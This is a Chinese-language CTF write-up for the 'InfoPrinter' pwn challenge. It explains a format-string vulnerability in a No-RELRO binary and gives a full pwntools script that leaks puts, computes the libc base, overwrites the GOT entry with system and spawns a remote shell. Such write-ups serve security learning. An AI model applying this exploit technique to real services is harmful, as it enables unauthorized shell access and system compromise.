[SWPUCTF 2022 新生赛]InfoPrinter

查看发现是个64位文件,打开了canary

我们看到了No RELRO知道这里的got表是可以修改的

RELRO保护为NO RELRO的时候,init.arrayfini.arraygot.plt均可读可写;为PARTIAL RELRO的时候,ini.arrayfini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.arrayfini.arraygot.plt均可读不可写

看到了printf(s)发现是格式化字符串漏洞

我们发现这道题是没有binsh和system的,加上题目给我们的libc我们知道这里需要我们自己计算地址

返回main,我们发现这里泄露了puts的地址,我们可以计算出它的基址。

双击puts(xx),我们发现它存在data段中,我们修改它为system('/bin/sh')

发现偏移为6

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','23222')
elf = ELF('/home/xp/tm/bin/1')
libc = ELF('/home/xp/libc/libc-2.31.so')
io.recvuntil(b'0x')
puts_got = elf.got['puts']
puts_addr = int(io.recv(12),16)
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
payload = fmtstr_payload(6,{puts_got:system,0x403878:b'/bin/sh\x00'})
io.sendlineafter('it',payload)
io.interactive()

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值